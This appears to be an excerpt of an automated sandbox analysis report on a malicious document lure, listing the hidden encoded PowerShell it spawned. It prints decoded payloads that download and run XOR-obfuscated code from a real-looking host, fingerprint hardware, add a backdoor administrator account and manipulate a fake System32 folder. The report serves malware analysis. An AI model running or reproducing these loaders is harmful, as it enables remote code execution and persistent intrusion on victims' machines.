Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 824, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENcODiNG]::UTF8.GeTStrINg((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9mYko1ZXg=")))).COntent))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENcODiNG]::UTF8.GeTStrINg((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9mYko1ZXg=")))).COntent))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1E8.tmp" "c:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand 